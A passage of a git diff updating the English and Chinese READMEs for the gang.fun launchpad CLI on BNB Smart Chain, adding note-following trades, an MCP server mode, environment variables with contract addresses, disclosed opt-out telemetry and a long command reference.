follow --amount ` buys the token another agent's note is about and puts the note's tx in the calldata +(37 bytes: `67616e67` + `03` + tx hash, before any `--note` commitment, which stays last). `gang buy --token … --follow ` does the same. +gang.fun counts followers, money and their 24h result per note and per agent. +Only buy notes and launch manifestos, same token, within 24h of the note and before graduation; not your own, and buys under $1 don't count. +Following a sealed or not-yet-public note is a blind follow; if that note is never revealed, the follow is void. +The CLI asks gang.fun first and refuses a follow that wouldn't count, with the reason (`not_found`, `not_followable`, `expired`, +`graduated`, `self`, `wrong_token`). The preview shows `follow.followableUntil` and `blind`; `gang execute` prints the note's link. +Details: [skill/references/follow.md](https://github.com/gangfun/gang-launchpad/blob/main/skill/references/follow.md). + +```bash +gang follow 0x --amount 0.1 +gang follow 0x --amount 0.1 --note "same read: holders up 30% since this note" --conf 60 +gang buy --token 0x… --amount 0.1 --follow 0x +``` + +Finding notes to follow (0.8.0+): `gang notes` lists the notes a buy can follow now, newest first, each with the author's +30-day record (hit rate, calibration score, how following them went), the token's curve progress and change since the note, +how many followed so far and until when it counts, and the `gang follow` command. `--agent`, `--min-hit 0.6`, +`--sort author|followers` and `--token` narrow it; your own notes are left out when baw is signed in. `gang watch --notes` +streams `note` / `revealed` events (NDJSON, at least every 10s), and `gang agents` shows the note leaderboard. +They only list: each follow is still `gang follow` → preview → the user confirms → `gang execute`. + +```bash +gang notes --min-hit 0.6 --sort author +gang watch --notes --agent lazy.ai --timeout 2h +gang agents --window 30d --sort follow +``` + +## MCP server (0.17.0+) + +`gang mcp` serves the same commands as an [MCP](https://modelcontextprotocol.io) server on stdio, for agent hosts that +take MCP servers instead of a shell (Claude Desktop / Code, Cursor, …). Each tool runs this CLI and returns its JSON: + +| Tool | Runs | +|---|---| +| `gang_help` | this CLI's whole help (every command, every flag) and the full rules (0.17.2+): what an agent with no skill installed reads before a create, launch, bond, buyback, split, lp, combo, mint or withdraw | +| `gang_preflight`, `gang_trending`, `gang_hot`, `gang_new`, `gang_near_grad`, `gang_info`, `gang_status`, `gang_portfolio`, `gang_notes`, `gang_agents` | the read commands of the same name (`gang_portfolio`: 0.17.6+; `gang_trending`: 0.24.0+) | +| `gang_tx` | `gang tx --hash …`: decode a tx, publish its queued note; `pending: true` = `gang tx --pending`, the trades approved in the Binance App (no hash needed) | +| `gang_watch` | `gang watch` until `maxEvents` (default 1) or `timeout` (default 50s, at most 30m): returns `{ events, meta }`, `timedOut: true` when nothing came; call it again to keep waiting | +| `gang_buy`, `gang_sell`, `gang_follow` | the trade previews (nothing is sent), with all their flags: `useWbnb` / `useQuote` / `payBnb`, `settleFirst`, … | +| `gang_execute` | `gang execute --request-id …`: only after the user's yes on that preview | +| `gang_cli` | every other command as an argument list: `create` (also `--fair` and a launch in one command), `mint`, `withdraw`, `claim`, `release`, `quote`, `list`, `upload-logo`, `bond …`, `buyback …`, `split …`, `lp …`, `v3 income`, `version`, and the flags no other tool takes (`--calldata`, `--from`, …) | + +```json +{ "mcpServers": { "gang": { "command": "gang", "args": ["mcp"] } } } +``` + +Claude Code: `claude mcp add gang -- gang mcp`. `baw` must be signed in on the same machine; the server's +`instructions` carry the hard rules (preview → show → confirm → execute); `gang_help` has them in full. + +Local files (`--logo`, `upload-logo --file`) are read by the MCP server, whose working directory is the host's choice +(Claude Desktop does not start it in your project): pass absolute paths, or an image URL (`--logo-uri`, `upload-logo --url`). + +A GUI host may start the server with the system directories only on `PATH`. The server adds node's directory, npm's +global bin and `/opt/homebrew/bin`, `/usr/local/bin`, `~/.local/bin`, `~/.npm-global/bin` to the `PATH` of the commands +it runs, so `baw` is found (0.17.3+). If the host cannot start `gang` at all, give it full paths: +`{ "command": "", "args": ["", "mcp"] }`. + +A cancelled call (or a client that closes stdin / stops the server) stops a read at once. A write (`gang_execute`, +`gang_tx`, the previews, `gang_cli`) always runs to its end, since the wallet may already have sent the tx: after a +timed-out `gang_execute`, check `gang_status` / the wallet history instead of executing again. + ## Quote path - **Soft archive tokens:** on-chain `quoteBuy` / `quoteSell`. @@ -82,19 +299,53 @@ Buy / sell / create: **preview → you confirm → execute**. `requestId` expire ## Rules (short) - 1% per-wallet cap on the curve; excess input refunded in-tx. -- **New** creates → ≈15 BNB graduation (LaunchpadV2 / PoolCheck) → PancakeSwap V2, LP burned. +- **New** creates (GangLaunchpad) → graduation at 15 BNB (1.0) or the creator's `--grad` pick (2.0 / 3.0: 6 / 9 / 12 / 15, default 9) → PancakeSwap V2, LP burned. LaunchpadV2: existing tokens only. - Soft legacy (archive): 20 BNB graduation; buy/sell only — no Soft create from this CLI. - Before graduation: no transfers, curve only. -- Graduated: trade on PancakeSwap (`pair` from `gang token`). +- Graduated / launched: `gang buy` / `gang sell` trade in the PancakeSwap + pool through GangRouter: approve this amount only first, then `poolBuy` / `poolBuyBNB` / `poolSell` / `poolSellForBNB` + with a minimum from `getAmountsOut` (buy, less the buy tax) or the tax handler's `previewSellNextBlock` (sell), less + `--slippage`. `--use-quote` / `--pay-bnb` pick what a buy pays with, `--to-bnb` sells for BNB. A taxed sell needs about + 700k gas (it also sells one chunk of the held tax): let the wallet estimate, or give at least 750k. + The router is checked first (a GangRouter with pool trades, never Pancake or an old router); `--from` works only on + these pool trades (and on V3 / 打新 tokens). Details: `skill/references/pool.md`. ## Env | Var | Meaning | |---|---| -| `GANG_LAUNCHPAD` | Create target (default LaunchpadV2 `0x1B8F3f69…966E`) | -| `GANG_RPC_URL` | BSC HTTP RPC | +| `GANG_RPC_URL` | BSC HTTP RPC: one URL, or a comma-separated list tried in order. Unset: five public nodes (BNB Chain's dataseed nodes, then PublicNode); a call that fails on one (rate limit, timeout) moves to the next, and later calls start at the one that answered (0.17.5+). A revert is never retried on another node | | `GANG_LOGO_API` | Logo upload endpoint (default `https://gang.fun/api/logos`) | +| `GANG_CDN_BASE` | CDN serving uploads as `/ipfs/` (default `https://cdn.gang.fun`) | +| `GANG_API` | Indexer API for discovery and note publishing (default `https://gang.fun/api`) | +| `GANG_NOTES_DIR` | Local note queue, one file per note: salt and send status, kept 24h (default `~/.gang/notes`); `previews/` in it records what each trade preview carried (note, follow) for `gang execute`, also kept 24h | +| `GANG_STREAM` | `0`: `gang watch` market mode polls instead of using the server's stream (same as `--poll`) | +| `GANG_TELEMETRY` | `0` turns off the anonymous usage counts (0.24.0+; `DO_NOT_TRACK=1` too). See [Telemetry](#telemetry) | +| `GANG_UPDATE_CHECK` | `0` turns off the once-a-day check for a newer CLI on npm (cached in `~/.gang/update.json`) | +| `GANG_UPDATE_URL` | Where that check asks, default `https://registry.npmjs.org/@gangfun/cli/latest`; set an npm mirror's `…/@gangfun/cli/latest` if npmjs is slow or blocked | +| `GANG_PAD` / `GANG_TESTNET_PAD` | The GangLaunchpad new tokens go to (mainnet / testnet), behind V3 and 打新. Defaults: mainnet 3.0 `0x2bEb…AB29` (2.0 `0x7703…E557` and 1.0 `0x15CF…4365` kept for their tokens); testnet 3.0 `0x0508…ceE2` (2.0 `0xb14d…3B3E`, the first 2.0 `0x6381…39be` and 1.0, set 10 `0xFebF…5BB1`, kept for their tokens). A pad of a built-in generation brings that generation's router, bond and factories; another pad only what the variables below name. Old names `GANG_V3_PAD` / `GANG_FAIR_PAD`, `GANG_V3_TESTNET_PAD` / `GANG_FAIR_TESTNET_PAD` still work as aliases | +| `GANG_TESTNET_RPC_URL` | Testnet RPC, one URL or a comma list (unset: PublicNode, then BNB Chain's testnet nodes); old names `GANG_V3_TESTNET_RPC_URL` / `GANG_FAIR_TESTNET_RPC_URL` still work | +| `GANG_FLY_PAD_V2` / `GANG_TESTNET_FLY_PAD_V2` | GangFlywheelPad V2 (铸币飞轮); new tokens go to GangLaunchpad 3.0. Defaults: mainnet `0x2818…8a5a`, testnet `0x7069…E3d6` | +| `GANG_FLY_PAD` / `GANG_TESTNET_FLY_PAD` | GangFlywheelPad V1 (铸币飞轮). Defaults: mainnet `0x631e…B029` (open since 2026-10-30), testnet set 2 `0xD648…951c` | +| `GANG_BOND` / `GANG_TESTNET_BOND` | GangBond of the create target (creator bonds, `gang bond`; a token's bond is on its own generation's). Defaults: mainnet 3.0 `0x830b…E9D6` (2.0 `0x2313…E0D8`, 1.0 `0xe92d…14E4`, since 2026-10-29, CLI 0.16.2+), testnet 3.0 `0xa877…9fc1` (2.0 `0x3974…51F9`, first 2.0 `0x9139…F97f`, 1.0 `0xd6a8…1086`) | +| `GANG_SPLIT_FACTORY` / `GANG_TESTNET_SPLIT_FACTORY` | GangSplitModuleFactory of the create target (`--split`). Defaults: mainnet 3.0 `0x904D…71f2` (2.0 `0xa73d…ec59`, 1.0 `0x27e0…067c`, since 2026-10-30, CLI 0.19.0+), testnet 3.0 `0xf8d4…06dc` (2.0 `0xb9ab…3513`, first 2.0 `0x860D…0879`, 1.0 `0x5F7d…567E`) | +| `GANG_LP_FACTORY` / `GANG_TESTNET_LP_FACTORY` | GangLiquiditySplitterFactory of the create target (`--lp`). Defaults (CLI 0.20.0+): mainnet 3.0 `0x98C5…1752` (2.0 `0x8ac8…c0E4`, 1.0 `0xE043…C248`, since 2026-10-31), testnet 3.0 `0x4A3a…6B07` (2.0 `0xAEec…36E4`, first 2.0 `0x4f15…1619`, 1.0 `0xA729…1591`) | +| `GANG_COMBO_FACTORY` / `GANG_TESTNET_COMBO_FACTORY` | GangComboSplitterFactory of the create target (several of `--buyback` / `--lp` / `--split`; a token's combined recipient is on its own generation's). Defaults (CLI 0.22.0+): mainnet 3.0 `0x2018…eA39` (2.0 `0xcCeA…98Be`, 1.0 `0xd33C…1DBd`, since 2026-10-31), testnet 3.0 `0xdc16…543C` (2.0 `0x312c…84BD`, 1.0 `0x52a8…4CFE`; the first 2.0 has none) | +| `GANG_SPLITTER_FACTORY` / `GANG_TESTNET_SPLITTER_FACTORY` | GangBuybackSplitterFactory of the create target (`--buyback`). Defaults: mainnet 3.0 `0xc128…3194` (2.0 `0x77e4…803C`, 1.0 `0xf1d5…F1Cd`), testnet 3.0 `0x3533…d110` (2.0 `0xDC9E…0f6e`, first 2.0 `0xBc26…33AE`, 1.0 `0x7E63…2BBe`) | +| `GANG_ROUTER` / `GANG_TESTNET_ROUTER` | GangRouter proxy of the create target (native-BNB V3 buys / mints, and every PancakeSwap trade of a graduated token; a token uses its own generation's); old name `GANG_ROUTER_TESTNET` still works. Defaults: mainnet 3.0 `0xec97…61e7` (2.0 `0xa832…844a`, 1.0 `0xE040…79C4`), testnet 3.0 `0x0954…87b9` (2.0 `0x5a4F…dDAA`, first 2.0 `0xb218…FC08`, 1.0 `0x6bB6…C9F6`) | + +## Telemetry + +From 0.24.0 the CLI counts how it is used, anonymously, so gang.fun can see where agents get stuck before a first trade. +Each command adds one event: +- the command name (and subcommand), the names of the flags given (never their values); +- whether it succeeded, and if not, a short error code (`NO_AGENT_ID`, `DEV_MODE_OFF`, a Binance risk code, `USAGE`…); +- for `gang preflight`, which checks passed. + +The only id is a random one made on first use (`~/.gang/install-id`). No wallet address, token, amount, note text or +error message is sent. Events queue in `~/.gang/events.ndjson` and are posted to `GANG_API` + `/t` at most once a minute by +a background process, so a command never waits on it. `GANG_TELEMETRY=0` (or `DO_NOT_TRACK=1`) turns it off. ## Version -`0.2.1` · repo [gangfun/cli](https://github.com/gangfun/cli) · distribute via [GitHub Packages](https://github.com/gangfun/cli/pkgs/npm/cli) (not npmjs) +`0.30.1` · repo [gangfun/cli](https://github.com/gangfun/cli) · published to [npm](https://www.npmjs.com/package/@gangfun/cli) on push to `main` diff --git a/README.zh-CN.md b/README.zh-CN.md index 839b51b..ec03c34 100644 --- a/README.zh-CN.md +++ b/README.zh-CN.md @@ -2,7 +2,25 @@ 用 Binance **Agentic Wallet** 操作 [gang.fun](https://gang.fun)。内盘买入/发币需要 SPACE ID `.ai` Agent ID。本 CLI 只组 calldata,签名走 `baw`,不持有私钥。 -**发币路径(0.2.1+):** 仅 LaunchpadV2(`0x1B8F3f69DFa0a7F63d308C7EB0Fd38D8b099966E`)。Soft / LaunchpadU / LaunchpadS:**禁止新 create**,仅存量 buy/sell/claim。新币毕业 ≈ **15 BNB**(PoolCheck)。Soft 存量链上仍为 20 BNB 毕业。 +**`gang create`:** 在 GangLaunchpad 上发 V3 币(`gang create --fair` 发打新);不带 `--buy-tax` / `--sell-tax` 就是无税币。LaunchpadV2 / Soft / LaunchpadU / LaunchpadS **不再发新币**,存量币照常交易(`gang buy` / `gang sell`)。V3 新币在 GangLaunchpad 1.0 上 **15 BNB** 毕业;2.0 和 3.0 上由 creator 用 `--grad` 选 **6 / 9 / 12 / 15 BNB**(默认 9)。Soft 存量链上仍为 20 BNB 毕业。 + +**一个动作一条命令(0.12.0+):** `gang buy` / `sell` / `info` / `status` / `claim` / `mint` / `withdraw` / `release` 对所有币都能用:CLI 先读出这个币的类型,再执行 V3、打新或 V2 / Soft 的逻辑。`gang v3 …` / `gang fair …` 保留为别名。 + +**铸币飞轮(0.18.0+):** `gang create --fly` 开一场铸币飞轮(kind 3):按份 mint,每个钱包有额度,邀请可以加额度;打满后按 mint 价开池,开池后还能继续 mint。统一命令会自动识别这类币(`kind: "fly"`),`gang fly …` 是别名。2026-10-30 起在 BSC 主网运行(V1 发射台 `0x631e66560F4FAE4e486B65349edE48189E48B029`);0.21.0 起新币发在 V2 发射台 `0x281889ad915c1A95ffc4922235c6314b3Cbd8a5a`,0.30.0 起发在 GangLaunchpad 3.0(见下)。其他命令按代币自己的发射台走,V1、V2 的币照常可用(`gang info` 的 `padVersion`:1、2 或 3)。`--testnet` 走 BSC 测试网(V1 第 2 套,V2 `0x7069…E3d6`,3.0)。规则见 `skill/references/fly.md`。 + +**V3 税收币和打新(0.9.0+):** 走 GangLaunchpad,2026-10-27 起在 BSC 主网运行(1.0:内盘 `0x15CFD2dc8278Fb87a1783ef42111618E20874365`,GangRouter `0xE040445690Aa56C8b68B7f7038C7b2562B5079C4`;2.0(2026-10-31 起):内盘 `0x770331a9accdb53ACb4a45B6c5B7D151fADCe557`,GangRouter `0xa83209d6bfC2B220cD86410cCDDC71FEb354844a`;CLI 0.30.0 起新币发到 3.0,见下文;都已内置);`--testnet` 走 BSC 测试网(新币发到 3.0,2.0 和第 10 套即 1.0 上的币照常用)。 + +**多人分账收款(0.19.0+):** `gang create … --buy-tax … --sell-tax … --split self:60,0x…:30,0x…:10` 把 V3 币的税收接收地址设成 dev 自己的分账模块(GangSplitModule,`split-v1`):接收地址那份税按固定比例分给 1–10 个地址,名单和比例永久不能改(dev 和平台都改不了;每个收款人只能把自己那一份换到别的地址)。`self` 表示发币钱包(也可以写 `me`);收款人序号和合约一致,从 0 开始(`--index`)。报价币只能是 keeper 会分账的:WBNB(默认)、GANG 或发射台 QuoteRegistry 里的报价币(其他的在克隆前就拒绝,和 `--buyback` 一样);转进模块的其他资产仍可用 `gang split distribute` 手动分。`gang split …` 查看和操作。已在 BSC 主网(工厂 `0x27e08271E52B2D129c824CD245e69471a8d3067c`,2026-10-30 平台多签已放行;2.0:`0xa73dC3d63AAf72E70b1cb012e5f3A541360Bec59`;已内置)和测试网第 10 套可用。 + +**自动加池子收款(0.20.0+):** `gang create … --buy-tax … --sell-tax … --lp 70 [--lp-to 0x…]` 把 V3 币的税收接收地址设成 dev 自己的加池合约(GangLiquiditySplitter,`lp-burn-v1`,和回购合约同一套规则):接收地址那份税的 `--lp`% 加进这个币的 PancakeSwap 池子做流动性,LP 打进 0xdead 永久锁定,其余给 dev(或 `--lp-to` 指定的地址)。毕业后由 keeper 分块加池(一半买币,买到的币全部连同对应的报价币放回池子;每 4 分钟最多一块)。比例和收款地址的改法同 `--buyback`(提高立即生效,下调 3 天公告后生效;收款地址立即生效)。报价币要求同 `--buyback` / `--split`。`gang lp …` 查看和操作。已在 BSC 主网(工厂 `0xE0436867dAFcf42Ee1418083251a9B8B61F0C248`,2026-10-31 平台多签已放行;2.0:`0x8ac85f150f87B536fb05eA163908b1077D95c0E4`;已内置)和测试网第 10 套(工厂 `0xA729C60FCa0Bd0D28a55E22126D3fE412AA41591`)可用。 + +**组合收款(0.22.0+):** 一次有税发射里同时给 `--buyback`、`--lp`、`--split` 中的两个或三个,V3 币的税收接收地址就是一个组合合约(GangComboSplitter,`combo-v1`):`gang create … --buy-tax 3 --sell-tax 3 --buyback 30 --lp 30 --split self:70,0x…:30` 把接收地址那份税的 30% 回购销毁、30% 加进池子做流动性(LP 打进 0xdead),其余 40% 推给收款人;`--split` 的比例是「剩下那部分」的比例(这里分别是接收地址那份的 28% / 12%)。不给 `--split` 时剩下的全给 dev;`--buyback` + `--lp` = 100 时不能有收款人。**全部永久不可改**:比例、收款人和份额以后都不能改(不像单独的 `--buyback` / `--lp`,dev 可以调比例);收款人只能把自己那一份换到新地址。打进来的其他资产:回购 + 加池那部分比例打进 0xdead,其余给收款人。`--buyback-to` / `--lp-to` 不适用。只给一个参数时仍走各自的单独模块。`gang combo status|distribute|release|set-payee|bind|chunk` 查看和操作。已在 BSC 主网(工厂 `0xd33C38BE3f8472b3013167830F0638C1704e1DBd`,2026-10-31 部署;2.0:`0xcCeA388DbC0Edb206eC25C9715546d57029198Be`;已内置)和测试网第 10 套(工厂 `0x52a8f90a92E5C1828b4436a0B99C6b293f7F4CFE`)可用。 + +**GangLaunchpad 2.0、creator 分成和毕业目标(0.23.0+):** 2.0 是同一个内盘的新一代(V3 曲线和打新都一样)。V3 内盘每笔买卖收的 1% 手续费里,70% 留在内盘上归这个币的 creator,creator 毕业前后随时可以领:`gang creator-fee` 列出这个 creator 所有 2.0 币各自可领多少,`gang creator-fee --token --claim [--to ]` 领取。这笔钱只归 creator 本人,不给税收接收地址,也不经过回购 / 分账 / 加池模块;1.0 的币和打新没有这项。2.0 还允许 creator 自选 V3 毕业目标:`gang create --grad 6|9|12|15`(内盘募到的 BNB,默认 9;毕业时市值约为目标的 5 倍);`gang info` / `gang status` 显示每个币的 `graduationTargetBnb`。新币发到这条链上内置的最新一代(`gang preflight` 的 `createPadGen`);已有的币始终用它自己那一代的内盘、GangRouter、GangBond 和模块工厂(CLI 逐个问各代内盘的 `kindOf` 找到它)。BSC 测试网上 2.0 已上线并且是发币目标(内盘 `0xb14d415f70D7F99f0D93Bd3BF76e0D6b38b53B3E`,GangRouter `0x5a4FA2D91638a305EdF027894753c943f095dDAA`;测试网第一版 2.0 `0x6381…39be` 不再发新币,上面的币照常交易和领取)。BSC 主网 2026-10-31 起 2.0 已上线并且是发币目标(内盘 `0x770331a9accdb53ACb4a45B6c5B7D151fADCe557`,GangRouter `0xa83209d6bfC2B220cD86410cCDDC71FEb354844a`);1.0 的币照常在 1.0(内盘 `0x15CF…4365`)上交易。 + +**2.0 金库版:绑定锁仓金库的币(0.27.0+):** 和 1.0、2.0 并列的第三个内盘(GangVaultLaunchpad:V3 曲线、creator 分成和 `--grad` 都和 2.0 一样;没有打新)。这里的每个币在创建时就和平台登记过的一个金库合约永久绑定,而且只有平台为这个金库指定的钱包才能发,每次指定只能发一个币:用那个钱包执行 `gang create --vault <金库> --name --symbol [--buy-tax … --sell-tax …] [--grad …]`。毕业前,金库只能通过内盘锁入、取回持有人的币,而且只替发交易、持有 Agent ID 的钱包操作;锁进金库的币仍计入持有人的 1% 上限(`gang status` → `lockedInVault`,`gang info` → `vault`)。毕业后就是普通的币。买卖和 2.0 一样(`gang buy` / `gang sell` 通过 `kindOf` 找到这个内盘)。这个内盘没有 GangBond,也没有回购 / 分账 / 加池 / 组合模块,所以 `--vault` 发币不能带 `--dev-buy` / `--bond` / `--buyback` / `--split` / `--lp`:发币上链后再用 `gang buy` 买。普通的 `gang create` 不会发到这个内盘。主网内盘 `0xE90851A90C6278E3d6e4C24320101f8B13D90A11`(GangRouter `0xAcd4944A4090c13d9DACAe60f3019cef9d9bB1Ad`);测试网 `0x9108e7b85e69060A5E626A04Ce6DEf323071C8a9`(GangRouter `0x9bF3E197a6719Af856a7c82d23CABFdBcc184f69`)。 + +**GangLaunchpad 3.0(0.30.0+):** 一个固定地址、可升级的内盘(代理合约),规则和 2.0 相同:V3 曲线、`--grad`、creator 分成和打新都一样,2.0 的函数和事件全部保留、选择器不变;另外有 `tokenVersionOf`(每个币创建时的规则版本,`gang info` → `tokenVersion`)和内置的聚合器入口。BSC 主网和测试网上,V3 新币和打新都发到 3.0(`gang preflight` → `createPadGen` 为 `3.0`)。3.0 有自己的 GangRouter、GangBond 和回购 / 分账 / 加池 / 组合模块工厂,所以 `--dev-buy` / `--bond` / `--buyback` / `--split` / `--lp` 一键发射照常可用。1.0、2.0 和 2.0 金库版上的币照常在各自内盘交易、领取、押金。`gang create --vault`:3.0 上线了金库模式的网络就发到 3.0(CLI 向内盘查询 `vaultOf(0)` 是否有返回;主网在区块 131454282 升级后已上线,测试网也已上线),否则仍发到 2.0 金库版内盘;仍然不能带一键发射参数。绑定金库的币不能交押金:`gang bond post` 会拒绝,因为钱包余额一低于承诺持有量 X 押金就会被罚没,而锁进金库的币已经不在钱包里;3.0 的金库币同样显示 `vault` / `lockedInVault`。2026-11-04 起 `gang create --fly` 也发到 3.0(它的铸币飞轮模式,`kindOf` 为 3):规则、`--guard` / `--twap-window` 和各项限制都和 V2 发射台相同,只是地址在 3.0;每份 100,000 枚,分红门槛 1,000 枚。`--quote` 不能是 3.0 的币。设了 Agent 门槛的打新(3.0 自己的,以及经 3.0 转发的 1.0 / 2.0 的)现在也能经 3.0 的聚合器入口交易;`gang mint` / `gang withdraw` 不变(走内盘或 GangRouter),没设门槛的发售不走入口。主网内盘 `0x2bEbED4be8c8F46C17776C71D7a6A45dbC5CAB29`(GangRouter `0xec9717E5C68b9F18fA76D3961C9Cd7e67b5E61e7`,GangBond `0x830b38F695Ca1bCbdD313CD5AA5943e2125Be9D6`);测试网 `0x0508232833aE6849c03b28F7aA248BBd5cFCceE2`(GangRouter `0x09544Fd87c5Ff2c4fb05885A76861A12e83f87b9`,GangBond `0xa87727dc3CC28a44709649A22aDbD77287B99fc1`);两边的金库模式都已上线。 ## 安装 @@ -10,10 +28,10 @@ Node ≥ 18。另需 `baw`: ```bash npm i -g @binance/agentic-wallet -npm i -g @gangfun/cli@0.2.1 --registry=https://npm.pkg.github.com +npm i -g @gangfun/cli@latest ``` -或:`npm i -g github:gangfun/cli` +npm 公共源,无需鉴权;升级用同一条命令。或(git 最新):`npm i -g github:gangfun/cli` Skill:`npx skills add gangfun/gang-launchpad/skill` @@ -22,21 +40,88 @@ Skill:`npx skills add gangfun/gang-launchpad/skill` 1. 币安 App → 钱包 → Agentic Wallet;领取 `.ai` Agent ID。 2. 打开 **Developer Mode** 与 **Trade all tokens**。 3. `baw auth signin` -4. `gang preflight` — `createPad` 须为 LaunchpadV2。 +4. `gang preflight` — `createPad` 须为 GangLaunchpad 3.0(`0x2bEbED4b…AB29`,`createPadGen` 为 `3.0`)。 ## 命令 ```bash +gang version # CLI 版本(也可用 -v、--version),不需要钱包 gang preflight -gang list -gang token --token -gang quote --token --bnb -gang buy --token --bnb [--slippage 1] -gang sell --token (--amount | --all) [--slippage 1] -gang upload-logo --file ./avatar.png -gang create --name --symbol [--logo-uri URL | --logo ./avatar.png] [--taxed] [--pair-or-quote 0x…] +gang trending # 其他 agent 现在在买什么(0.24.0+) +gang hot [--limit 10] [--track all|v3|fair|fly|v2|soft] [--include-graduated] # 按 24h USD 成交量 +gang new [--limit 10] [--max-age 2h] +gang near-grad [--min-pct 50] [--limit 10] +gang watch [] [--interval 10] [--events a,b] [--max-events N] [--timeout 30m] [--webhook URL] [--poll] +gang notes [--agent a,b] [--min-hit 0.6] [--sort new|author|followers] [--token ] [--limit 10] [--all] # 现在能跟的想法 +gang watch --notes [--agent a,b] [--min-hit 0.6] [--interval 30] [--events note,revealed] # 新出现的可跟想法 +gang agents [--window 1d|7d|30d|all] [--sort score|hitRate|count|follow|followUsd] [--limit 10] # 跟谁 +# 一个动作一条命令,不管币在哪个内盘(0.12.0+):CLI 读 GangLaunchpad 的 kindOf(V3 内盘 / 打新;都不是就走 +# V2 / Soft / U / S),再执行对应的交易。--testnet 走 BSC 测试网 3.0、2.0 和第 10 套(只有 GangLaunchpad) +gang list [--limit 20] [--kind v3|fair|fly [--status …]] # 链上读 V2 / Soft / U / S,每个盘最新 20 个;--kind v3|fair:从 gang.fun 列,fly:从发射台读 +gang info --token # 任意内盘的一个币(gang token 是旧名) +gang status --token # 我的持仓:余额;V3 分红 / 打新奖励、还能卖多少;poolSellAll +gang portfolio [--from ] # 全部持仓:余额、价值、成本 / 浮盈、可领、美元;押金;creator 分成(2.0 / 3.0) +gang creator-fee [--token ] [--from ] [--claim [--to ]] # GangLaunchpad 2.0 / 3.0:内盘 1% 手续费的 70% 归 creator +gang quote --token --amount # 只算 V2 / Soft / U / S 内盘(Soft:BNB;V2:报价币 ERC-20) +gang buy --token --amount [--slippage 1] [--follow <附言 tx>] [--note "<理由>" [--conf 0-100] [--reveal-after 1-72h]] +# --amount 是要花的报价币数量(--bnb 是旧名)。V3:含内盘 1% 手续费(内盘不收税;WBNB 报价经 GangRouter 直接付 BNB)。 +# 打新:只能在发射后买。已毕业 / 已发射:经 GangRouter 在 PancakeSwap 买 +gang sell --token (--amount <枚数> | --all) [--slippage 1] [--to-bnb] [--note … [--conf …] [--reveal-after …]] +# 打新发射后:卖过 sellableBeforeOut 须加 --confirm-out +gang mint --token --shares [--note …] # 打新填满前:另收该币的打新费(1–3%,归平台、不退) +gang withdraw --token (--shares | --all) [--note …] # 打新填满前按打新价卖回 +gang claim --token # V3:领取分红(以报价币到账);打新:领持有奖励 +gang release --token # V3:补转之前打款失败的税;铸币飞轮:补转欠创建者的 dev 分成 / 税 +gang follow <附言 tx> --amount [--slippage 1] [--note …] # 跟单:买附言里的币,并标明跟的是哪条 +gang upload-logo (--file ./avatar.png | --url <图片地址>) +# 建币:GangLaunchpad。默认是 V3 币(买 / 卖税各 1–5%,只在外盘收,用报价币打给接收地址:发币人自己,或白名单里的 +# 合作方;不带 --buy-tax / --sell-tax 即无税);加 --fair 是同一个内盘上的打新。 +# --vault <金库>:绑定平台登记的这个金库,只能由平台为它指定的钱包发(不能带 --fair 和一键发射参数);3.0 有金库模式就发到 3.0,否则发到 2.0 金库版内盘;不能交押金 +gang create --name --symbol [--buy-tax 2 --sell-tax 2 [--dividend 0] [--recipient 0x…]] [--logo ./avatar.png | --logo-uri URL] [--website URL] [--twitter @handle] [--description "…"] [--testnet] +gang create --fair --name --symbol [--raise 15] [--cap 0.5] [--hold 60] [--mint-fee 1] [--exit-fee 1] [--shares 1] [--logo …] [--website URL] [--twitter @handle] [--description "…"] [--testnet] +# --cap 单地址上限 0.25–1%(1% 时至少 50 个地址),--hold 出局线 60–90% +gang v3 income --recipient 0x… # 接收地址按币统计的到账(读 gang.fun) +# 别名:gang v3 、gang fair +# 跑的是同一套代码(结果里带 useInstead) +# 押金承诺(GangBond):发币后随时可押,创建者押一笔报价币,承诺创建地址至少持有 X 枚;T = 毕业 / 开盘时间 + --days +gang bond post --token --hold <枚数|N%> --days <7-90> (--amount <报价币数量> | --cover 100) [--use-wbnb] # 创建者,发币后随时可押(--cover 要等开盘);WBNB 报价默认付 BNB,--use-wbnb 付 WBNB +gang bond topup --token (--amount <数量> | --cover <%>) | gang bond raise-hold --token --hold <枚数|N%> +gang bond extend --token --days <天数> # 创建者:押金只能加、X 只能提高、承诺期只能变长 +gang bond status --token # 状态(待开始 / 计时中)、X 和创建者余额、现价覆盖率和档位、剩余时间 +# (0.29.0 起档位按 gang.fun 的锚定价计算,币价上涨不降档;tierBasis anchor | live) +gang bond start --token # 任何人,毕业 / 开盘后开始计时 +gang bond report --token # 任何人,余额低于 X 时举报:拿押金 1%,其余回购销毁 +gang bond settle --token # 任何人,T 之后余额仍达标:押金退回创建者 +gang bond refund --token # 创建者:押后 30 天仍未开盘,先申请,3 天公告期后再执行一次取回 +gang bond burn --token | gang bond tx --hash <0x..> # 推进一块回购销毁 / 解析 GangBond 事件 +# 创建者用 gang sell(内盘或外盘)/ gang withdraw 卖到低于 X 会被拒,除非加 --break-bond(过了 T:--settle-first 先取回) +# 一条命令发射:每次运行产出一笔交易,执行后再运行同一条命令,直到 launch.stage = done +gang create … --dev-buy <报价币数量> [--bond <数量> [--bond-hold <枚数|N%|all>] --bond-days <7-90>] # V3:发币 → dev 内盘买入 → 押金 +gang create … --buy-tax 3 --sell-tax 3 --buyback 50 [--buyback-to 0x…] [--dev-buy …] # V3:接收地址那份税 50% 回购销毁,其余给你(或 --buyback-to 指定的地址) +gang buyback status|set|set-payee|apply --token 0x… [--pct 0-100] [--to 0x…] # 回购合约:比例(提高立即生效,下调 3 天后)、收款地址(立即生效)、待回购金额 +gang buyback split --token 0x…(或 --module 0x…) # 任何人:把新到的钱分掉(比如毕业前领进来的创作者费):收款人那份立即转出,回购那份留着(0.23.0+);sweep --asset 0x… 把报价币以外的币全部转给收款人 +gang create … --buy-tax 3 --sell-tax 3 --split self:60,0x…:30,0x…:10 [--dev-buy …] # V3:接收地址那份税按固定比例分给 1–10 个地址(百分比合计 100;self = 你自己) +gang split status|distribute|release|set-payee|bind --token 0x… [--asset 0x…] [--index ] [--to 0x…] # 分账模块:名单(--index 从 0 开始)、待分和欠款;手动分账;收款人换自己的地址 +gang create … --buy-tax 3 --sell-tax 3 --lp 70 [--lp-to 0x…] [--dev-buy …] # V3:接收地址那份税 70% 加进池子做流动性(LP 打进 0xdead),其余给你(或 --lp-to 指定的地址) +gang lp status|set|set-payee|apply|bind|release|add --token 0x… [--pct 0-100] [--to 0x…] [--slippage 1] # 加池合约:比例、收款地址、待加池金额、下一块;add = 现在手动加一块(任何人) +gang lp split --token 0x…(或 --module 0x…) # 